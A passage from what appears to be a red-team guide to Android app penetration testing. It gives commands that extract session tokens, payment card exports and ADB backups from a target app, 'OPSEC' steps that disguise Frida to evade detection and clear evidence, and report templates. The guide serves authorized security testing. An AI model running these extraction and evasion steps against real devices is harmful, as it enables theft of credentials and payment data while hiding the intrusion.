sqlite3 shop.db "SELECT * FROM sessions;"
# Session tokens with no expiry

# 4. Check external storage (no root needed)
adb shell ls /sdcard/Android/data/com.shop.app/files/
# Found: receipts/, cache/images/, export_2024_01_01.csv

adb pull /sdcard/Android/data/com.shop.app/files/export_2024_01_01.csv
# CSV contains: order history with full payment card details

# 5. Exploit ADB backup if allowBackup=true
grep "allowBackup" target_static/AndroidManifest.xml
# android:allowBackup="true"

adb backup -f backup.ab -noapk com.shop.app
# Decrypt backup
dd if=backup.ab bs=1 skip=24 | \
  python3 -c "import zlib,sys; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" \
  > backup.tar
tar xvf backup.tar
# Full app data including databases and preferences extracted without root
```

**Finding:** Unvalidated deep links allow funds transfer; plaintext credit card storage in SQLite; sensitive data on external storage; ADB backup exposes all data without root access.

---

## 9. Detection and OPSEC Considerations

### What Defenders May Monitor

- **Frida Detection:** Many financial and gaming apps use Frida detection:
  - Check `/proc/<pid>/maps` for `frida` strings
  - Port scan for frida-server (default 27042)
  - Check loaded library names for `frida-agent`
  - Anti-debugging via `ptrace` self-attachment

- **Root Detection Evasion Artifacts:**
  - `su` binary in PATH
  - Magisk mount points in `/proc/mounts`
  - Modified `BUILD.PROP` values

- **Network Anomalies:**
  - Non-certificate-pinned TLS sessions
  - Burp CA fingerprint in certificate chain
  - Unusual proxy settings via `adb shell settings`

### OPSEC Measures

```bash
# Use a different Frida server port to evade default port scans
adb shell /data/local/tmp/frida-server -l 0.0.0.0:12345 &
frida -U --host 127.0.0.1:12345 com.target.app

# Rename frida-server binary to evade name-based detection
adb push frida-server /data/local/tmp/com.android.systools
adb shell chmod 755 /data/local/tmp/com.android.systools
adb shell /data/local/tmp/com.android.systools &

# Use Objection with custom gadget (instead of standalone server)
# Patch APK to embed frida-gadget.so — no frida-server needed, evades port checks
# See: https://github.com/sensepost/objection/wiki/Patching-APKs

# Forward traffic over ADB (no proxy settings on device — evades proxy detection)
adb forward tcp:8080 tcp:8080
# Then configure Burp to listen on 127.0.0.1:8080

# Use r2frida for lower-profile instrumentation
# https://github.com/nowsecure/r2frida

# Clear evidence after engagement
adb shell rm /data/local/tmp/frida-server
adb shell settings put global http_proxy :0
adb shell pm clear com.target.app  # Reset app state if needed
```

### Avoiding App Crashes During Testing

```bash
# Always test hooks on a clone/backup first
# Check app version before hooks (API-level differences break scripts)
adb shell dumpsys package com.target.app | grep versionName

# Use --no-pause to avoid timing-related crashes on spawn
frida -U -f com.target.app -l script.js --no-pause

# If app crashes immediately, try attach instead of spawn
# Start app manually, then:
frida -U -n com.target.app -l script.js
```

---

## 10. Output and Documentation

### Evidence Collection Template

```bash
#!/bin/bash
# Run at start of engagement to collect baseline evidence
TARGET="com.target.app"
OUTPUT_DIR="./evidence_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTPUT_DIR"

# App info
adb shell dumpsys package "$TARGET" > "$OUTPUT_DIR/package_info.txt"
adb shell pm path "$TARGET" > "$OUTPUT_DIR/apk_path.txt"

# Pull APK
APK_PATH=$(adb shell pm path "$TARGET" | sed 's/package://')
adb pull "$APK_PATH" "$OUTPUT_DIR/target.apk"

# Screenshots before/after exploits
adb shell screencap /sdcard/before.png && adb pull /sdcard/before.png "$OUTPUT_DIR/"

# Logcat capture (run in background during testing)
adb logcat -v time > "$OUTPUT_DIR/logcat.txt" &
LOGCAT_PID=$!

# Network capture placeholder (use tcpdump on device or Burp export)

# Cleanup
kill $LOGCAT_PID
echo "Evidence collected in: $OUTPUT_DIR"
```

### MASVS Checklist Mapping

| MASVS ID | Control | Test Method |
|---|---|---|
| MASVS-STORAGE-1 | No sensitive data in local storage | SQLite/SharedPrefs extraction, file dump |
| MASVS-STORAGE-2 | No sensitive data in cloud storage | Network traffic analysis |
| MASVS-CRYPTO-1 | Strong cryptography | Grep for weak algos (MD5, DES, ECB) |
| MASVS-AUTH-1 | Authentication at remote endpoint | Intercept with Burp, test token replay |
| MASVS-NETWORK-1 | TLS for all network communication | Proxy inspection, cleartext traffic check |
| MASVS-NETWORK-2 | TLS settings meet best practices | SSL Labs scan of endpoints |
| MASVS-PLATFORM-1 | WebView restricted appropriately | jadx grep for addJavascriptInterface |
| MASVS-PLATFORM-2 | Exported component validation | Drozer component enumeration |
| MASVS-CODE-1 | No debug code in release | BuildConfig.DEBUG grep, apktool manifest |
| MASVS-CODE-2 | Security provider updated | API level check, provider version |
| MASVS-RESILIENCE-1 | Root detection present | Rooted device functional test |
| MASVS-RESILIENCE-3 | Anti-debugging present | Frida attach test |

### Findings Report Template

```
Finding: [SEVERITY] - [TITLE]
MASVS Reference: MASVS-STORAGE-1
CVSS Score: 7.5 (High)
CWE: CWE-312 - Cleartext Storage of Sensitive Information

Description:
The application stores [authentication tokens / credentials / PII] in plaintext
within [SharedPreferences / SQLite database / external storage] at path:
/data/data/com.target.app/[path]

Steps to Reproduce:
1. Root Android device
2. adb shell su -c "cat /data/data/com.target.app/shared_prefs/prefs.xml"
3. Observe plaintext [token/password] in output

Evidence:
[Attach screenshot/logcat output showing sensitive data]

Impact:
An attacker with physical access to the device (or malware with root privileges)
can extract [credential/token] and use it to authenticate as the victim.

Recommendation:
- Use Android Keystore for cryptographic key storage
- Store sensitive data encrypted using AES-256-GCM with Keystore-backed keys
- Avoid storing long-lived tokens locally; use short-lived tokens with refresh
```

---

## 11. Resources with GitHub URLs

### Primary Tool Repositories

- **Frida:** https://github.com/frida/frida
- **Objection:** https://github.com/sensepost/objection
- **apktool:** https://github.com/iBotPeaches/Apktool
- **jadx:** https://github.com/skylot/jadx
- **Drozer:** https://github.com/WithSecureLabs/drozer
- **MobSF:** https://github.com/MobSF/Mobile-Security-Framework-MobSF
- **apkeep:** https://github.com/EFForg/apkeep

### Frida Script Collections

- **Frida CodeShare:** https://codeshare.frida.re/ (community hooks)
- **Universal SSL Bypass (by pcipolloni):** https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/
- **fridump:** https://github.com/Nightbringer21/fridump (memory dumper)
- **Frida Android Scripts collection:** https://github.com/interference-security/frida-scripts

### Bypass Scripts and Techniques

- **objection SSL pinning bypass:** https://github.com/sensepost/objection/blob/master/objection/console/helpfiles/android.sslpinning.disable.txt
- **apk-mitm (automatic SSL bypass patcher):** https://github.com/shroudedcode/apk-mitm
- **TrustMeAlready (Xposed module):** https://github.com/ViRb3/TrustMeAlready
- **SSLUnpinning (Xposed module):** https://github.com/ac-pm/SSLUnpinning_Xposed

### Analysis Frameworks

- **r2frida (radare2 + frida):** https://github.com/nowsecure/r2frida
- **QARK (static analysis):** https://github.com/linkedin/qark
- **AndroBugs:** https://github.com/AndroBugs/AndroBugs_Framework
- **apkleaks (secret finder):** https://github.com/dwisiswant0/apkleaks
- **truffleHog (secret scanner):** https://github.com/trufflesecurity/trufflehog

### OWASP References

- **OWASP MASVS:** https://github.com/OWASP/owasp-masvs
- **OWASP MSTG (Testing Guide):** https://github.com/OWASP/owasp-mstg
- **OWASP Mobile Top 10:** https://owasp.org/www-project-mobile-top-10/

### Learning and Reference

- **Android Security Awesome list:** https://github.com/ashishb/android-security-awesome
- **Android Hacking Cheatsheet:** https://github.com/randorisec/MobileHackingCheatSheet
- **Maddie Stone's Android Reversing:** https://github.com/maddiestone/AndroidAppRE
- **Frida Handbook:** https://learnfrida.info/

### Wordlists and Payloads

- **Android-specific payloads:** https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Android
- **SecLists Mobile section:** https://github.com/danielmiessler/SecLists

---

*Skill maintained for Red Team operators. All techniques assume proper written authorization from the target organization. Use only in scoped engagements.*
